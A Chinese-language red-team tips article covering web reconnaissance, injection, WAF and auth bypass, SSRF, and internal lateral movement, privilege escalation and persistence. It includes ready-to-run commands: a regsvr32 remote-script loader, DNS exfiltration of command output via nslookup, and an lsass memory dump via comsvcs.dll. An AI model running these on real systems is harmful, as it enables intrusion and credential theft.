紅隊小技巧
前言
有一段時間沒有寫文章了,也不知寫什么,畢竟從攻擊方換成防守方,乙方換到甲方,還有些許不適應。。。但還是決定把自己接觸滲透所積累的東西也拿出分享,不管糟粕,還是大伙覺得我分享的有用(那阿鑫自然是很開心),希望能幫到還在學習路上的朋友,文章若有錯誤,請及時聯系我指出,我也不想誤導才學習的朋友。此外,本文為口嗨文,基本在說思路,沒有實操。
web端
(1)信息收集
收集cms信息:
1、通過云溪,wapplayzer,fofa,以及github上各位表哥寫的baner等插件腳本收集
2、網站后臺,正頁,power by "xxx",以及robots.txt
3、根據經驗判斷,比如網站的icon(joomla,dede),目錄框架結構(wordpress,discuz!)這些有明顯特征的
4、大框架類似,二次模改過來的,比如(onethink-->thinkphp)
5、報錯關鍵字提取,去github找有沒有相似源碼以及類似函數,報錯信息可以用google語法收集warning error not exist等等
6、一些cms可以直接通過msf打
use exploit/unix/http/laravel_token_unserialize_exec //關于laravel RCE
use auxiliary/admin/cisco/cisco_asa_extrabacon //關于思科的設備,CVE-2016-6366
收集端口:
1、這么收集端口沒什么好說,方法就那么幾種
2、一些端口應該知道的,開了21,22等端口,ftp匿名訪問必須嘗試(如果匿名登陸成功無法下載文件,嘗試加入--no-passive參數),ssh弱口令必須嘗試一下(各類數據庫都外聯弱口令嘗試一下),81,88,888常見的web端口,389是ldap的默認端口,內網里面可能為域控,445(有些站你怎么打都日不進去,開了445的公網配合msf17010掃一波),999(phpmyadmin),1234(可能為redis),6379,3389(guest,shift都嘗試一下),6588(護衛神界面),70000到10000的基本上是java的服務,重點關注weblogic,jboss,shiro,fastjson。其他一些高端口,可能為寶塔,或者邊緣業務的端口
收集子域名:
1、收集的意義在于配合收集的cms和端口信息撕開口子
2、看看有沒有域傳送漏洞,有的話幫你找完
3、多去找找某些api,某些api也可以幫你找全(其所有相關資產)

4、某些網站有sql注入,但是找不到后臺,可能就在子域名,子域名可能還有phpmyadmin
目錄掃描
1、拿到站先不要直接開掃,先把bp打開,自己點一下網站的功能,然后在target那一欄bp會幫我們爬出大體框架
2、如果ip被ban了,將線程調低,或者在找一個小眾一點的掃描器,不行的話自己寫一個,py,很快的
3、盡量通過目錄的結構得知為什么cms,有沒有上傳的編輯器(fck,eweb等,很多時候比如我們通過注入找到網站后臺賬號密碼,成功進入后臺,但是后臺功能單一以至于拿不下shell,這個時候最好的方法就是去找新的資源,當我們發現一個漏洞很容易被這個漏洞束縛從而思維無法發散)
我們找到A服務器的后臺:admin/adminlogin.asp(有賬號密碼但是拿不下)
這個時候不是一直想突破后臺,而是發現新的資源admin/ewebeditor/admin_login.asp(從編輯器入手)
4、比如掃到了axgg.xml這個敏感文件,它確實存在卻無法訪問,比如
www.axgg.com/hdx/hxd/axgg.xml 我們無法訪問,可以做一下嘗試
www.axgg.com/hdx/.hxd/axgg.xml
www.axgg.com/hdx/;abcd/hxd/axgg.xml
www.axgg.com/hdx/abcd/../hxd/axgg.xml
5、git svn如果覺得還原的不全,可以去kali重新試試,多下幾個工具
6、日志
其他信息收集
1、c段,旁站,fofa搜索icon,header
2、phpinfo(收集絕對路徑,真實ip,繞過xss的httponly($_SERVER[“HTTP_COOKIE”]),存在oci8推測數據庫可能為oracle,),phpmyadmin,adminer,以及疑似的后門

(同行的馬1.我們可以用profile=a看看能不能溢出2.f12里面搜索font,可能會出現密碼)
3、同模版網站
4、護網的話,學校醫院的學號和工號,可以根據“獎學金&&值班表” filetype等關鍵字搜索
5、掃到了401的界面,可以加入X-Custom-IP-Authorization: 127.0.0.1
6、如果在登錄框處,我們可以查看其Js文件,測試密碼不大可能泄露,但是說不定能找到其他組件,比如webservices,這個存在注入
(2)sql注入
1.不論是前后臺,如果可以上傳圖片,但是上傳繞不過,可以考慮圖片名改為注入payload,看看有沒有二次注入
2.如果存在注入,好好利用bp,get/post切換,參數污染,分塊,x-forward-for改為127.0.0.1,application/數據流也可以改,bp里面的一些非主流字符也可以刪除掉,比如

以及垃圾數據

3、至于對抗waf,最重要的是要清楚waf的規則,攔截的參數,再來進一步繞過,具體可以參考我的上一篇文章。https://xz.aliyun.com/t/9268
如果讀友們覺得寫的還不錯,我后面有時間一定把其余的漏洞以我目前的認知基礎詳細的講一遍。
4、遇到一個cms存在盲注,數據出的很慢,我們可以自己本地搭建一個,查看賬號密碼放在哪個表單。
5、比如一個登錄框,登陸的時候叫你選部門,可能賬號密碼處沒有注入,但是你從人事部選擇技術部這一步抓包,就會有注入。
6、比如用union或者報錯打payload,但是沒有數據回顯,可以看看f12里面是不是有hidden屬性
7、sqlserver的xpcmdshell寫一句話用^轉義失敗,可以嘗試certuili的hex寫入

(3)邏輯漏洞
1、存在注入拿下了賬號,但是admin的賬號hash解不開,可以在后臺嘗試修改密碼,看是否存在邏輯漏洞
2、關于爆破的后臺驗證碼,可以更換為萬能驗證碼(0000,8888我嘗試均失敗,不知哪兒聽說的,哈哈哈哈),當然也可以設置空驗證碼,或者將驗證碼這個參數給刪除掉。
3、注冊賬號的時候可以嘗試admin空格空格空格空格空格空格,看看可不可以覆蓋
(4)上傳
1、條件競爭其實挺多的,tp寫入session也可以想到條件競爭
2、二次渲染,不僅是要了解,而且要大環境復線
3、bp里面的各類參數修改,已經說的很多了
4、看看有沒有.user.ini這個文件,有的話走大運
5、白名單,這類沒有解析漏洞或者開發商本身的漏洞,就別想著繞過了
(5)xss
1、XSS無非是打cookie,釣魚,像更高端的操作比如最近的chrome,xmind等xss上線cs,但是在實際項目中是可遇不可求的,真正需要注意的還是xss一些payload的拓展以及打到了cookie怎么繞過httponly。其實釣魚的話可以配合弱口令去后臺看看能不能改一些模版,雖然現在各類客服的安全意識已經很高了,但是有些時候能不能拿下項目還真的指望他們
(6)ssrf
1、ssrf出現的位置,其實burp抓包,不管是get的參數還是post的參數,我們都可以直接fuzzing,就比如post的數據,image=admin,我們image=http://vps:1234 都要不斷嘗試。不一定非要在網上說的那幾個位置才能想到ssrf
2、認清ssrf的作用,像ssrf->getshell真的太少了,都是配合ssrf收集信息打組合拳,就比如配合redis那shell,首先是對面可能存在redis,然后為授權。然后寫東西的時候不出玄學問題,就行了
3、ssrf最主要的幾個功能是收集服務器的真實IP,探測內部文件,比如看看能不能通過gopher,file等協議讀取東西,如果能探測web的端口,可以看看找一些get參數就能拿東西的漏洞,比如get型的sql注入
(7)xxe,csrf
1、首先xxe我們也可以先將我們的content-type改為我們的application/xml,不管他是application/data,application/json,都可以改成application/xml,然后看看response對比哈,如果有區別的話可以FUZZING一哈xxe的payload
2、關于csrf,其實csrf可以簡單的理解借刀殺人,用當前目標的權限去做他能做的事情,如果此后臺管理員能編輯模板插入腳本代碼,那么我們就可以構造出POC去getshell,但是話又說回來,這2個洞我反正在項目中遇到是很少的
內網
(1)信息收集
其實網上有很多講內網信息收集,說了很多命令,但是都用的到嗎?因為我們收集到不同的信息會對我們的滲透思路完全不同,內網不像web,你在工作組和在域環境打法是完全不同的,你在域環境找到域控和沒找到域控是2回事。但是滲透的本質還是不斷地收集信息然后橫向。
首先應該收集的是我們當前控制機器的信息,殺軟有哪些,你要是不提權的話可以不看補丁,是否在域環境,是否純在IPC空連接,共享,機器上的一些txt,xlsx,一般在桌面
dir /b /s *.txt
wmic share get name,path,status \查看共享
wmic data file where "filename='test' and extension='jpg'" get caption
ps:如果沒有找到桌面的位置,有些國外的機器或者修改過的項目
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s \通過注冊表找到
是否存在tg,xshell,navicat等軟件,這些都可以進一步搜集額外的東西
破解navicat

本機的wifi密碼(撞密碼),本機瀏覽器的書簽,保存的密碼(這個很好破解,比如內網歷史記錄訪問過一個192.168.7.15/admin.aspx這個網站,我們查看他的密碼需要Pin,我們直接點進去這個網站,然后f12把hidden改成txt即可),cookie(因為有些要IP認證,所以用cookie),RDP的憑證,public\document這個位置,如果運氣好或許Mimikatz可以破解出來,不過我們當我們不在域環境的時候可以查看連接的IP幫我們更好的定位其他機器的位置。本機的網絡環境,c段的web資源,數據庫位置,信任域(前提是我們是在域環境),等這類東西。
最后在是我們的密碼,憑證。
(2)關于橫向
其實橫向的強弱在于我們第一步的信息收集,道理大家都知道,比如我們通過web打點拿下一臺服務器,同學a通過navicat解出了sqlserver的賬號密碼,在看了一下c段的機器名或者開的端口,找到了數據庫,然后在通過sqlserver的IPC空連接配合gpc泄露拿到了密碼,雖然這個例子舉得太過理想和拉跨,但是想告訴讀者朋友們,我們一定要對信息收集這個概念在每一臺我們能控制的服務器運用到極致,同學b進去抓密碼,pth,ms17010(出了永恒之藍,還有永恒冠軍,永恒浪漫,就是原生py),或者找找web日一日,發現日求不動,然后滲透結束。雖然現在委派很火,但是我想說的委派基本上是大集團方便管理,其實我們平時遇到的普通域環境很少用的到,但是學有余力還是務必掌握!
(3)提權
說到提權,其實我們應當明白提權的這個機器對我們有進一步滲透的意義,才去提權,比如我在一個域環境,當前用戶就是一個普通域用戶,是一個普通的員工機器,但是我TM就想一個爛土豆提到system,然后抓密碼,哎,就是玩兒,但是真沒必要。什么時候需要提,比如我們在的機器為域機器,但是當前用戶卻是本地用戶,這個時候我們可以一個爛土豆變成system,然后查看域用戶,找域控。就是想告訴大家別沒有思路的時候就提權,而是看我們提了權能給我們進一步帶來什么,當我們滲透沒有思路時,就回顧一下自己打點到目前的位置,是不是每一步的信息收集都收集好了。
(4)權限維持
這一步和提權是一樣的,我們應該明白什么時候需要權限維持,不是打點進去,一個pth上了三四太機器,然后每一個做一個自啟,或者直接注冊表修改添加隱藏用戶,又或者激活guest。我們應當審視一下這臺機器,他有沒有進一步利用的價值再去做權限維持,比如這是一臺運維,或者IT的機器,怎么看,看這臺機器的組,或者機器名,還有桌上的一些文件進行判別。我們做權限維持的目的是這個時間點沒有收集到或者錯過了收集到一些敏感的東西,所以我們權限維持等待時機,比如鍵盤記錄,cmd命令記錄,如果是linux的,我們可以ssh劫持。常用的權限維持技巧,自啟動,利用acl添加普通用戶的完全訪問權限,利用DCSync在域內維持權限等方法。
(5)文件傳輸
網上也說了很多,我也再說說吧,出了常見的python,certuili,bitadmin,wget,curl,ftp等
js,hta,vbs等這類腳本也可用寫入下載的內容
或者運用csc編譯我們寫好的dowoload.cs
也可以用wmic
wmic process call create "regsvr32 /s /n /u /i:http://xxxxx:1337/as.txt scrobj.dll"這樣調用
(6)內網的一些小技巧
1、當某些軟件正在運行或者權限不夠我們看不了,我們可以copy到一個位置然后在type
2、如果某些環境出現中文名而且我們的c2工具因為字符不能識別無法正常滲透,可以考慮寫入bat或者vbs
3、當我們mstsc連接出現問題時,我們可以mstsc /admin mstsc /console
4、當我們echo一個一個字符追加,但是換行了,可以這樣

5、拿到shell,但是cmd沒有回顯
cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set =%i & cmd /c nslookup %_:~0,-1%. 6utb0b.dnslog.cn)&del temp
6、如若3389登不上,普通方法都檢測了,試試net stop sharedaccess關閉篩選,如果想多用戶登錄,可以嘗試使用rdpwrap這個軟件
7、echo 123 > axgg::$INDEX_ALLOCATION \創建文件夾,有什么用,mysql udf沒有plugin的時候
刪除:rd axgg::$INDEX_ALLOCATION
8、比如我們的命令被禁用或者匹配了其規則,其余思路自由發展

9、當我們遇到owa的時候,只要將HTTP協議版本修改成1.0,然后去掉http頭里面的HOST參數,會返回服務器所在的內網IP,對OWA屢試不爽

此外,/owa/auth/trace.axd會暴露OWA版本和內網的代理IP信息
10、如果想降權的話可以用runas起一個進程
11、提供一個不要prodump抓lsass的方法
tasklist | findstr lsass.exe 查找lsass的pid號
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 592 D:\wwwroot\huodong\lsass.dmp full"
(7)免殺,dll劫持,dll注入,委派,bypass uac
這些都是當我們基本打好了以后才能更好的吸收和掌握,網上也有很多師傅講過,我自己基礎差,就不限丑了。
至于web的,我上傳了一些Poc在我的github,大家有興趣可以看看
https://github.com/xinxin999/Exp-collect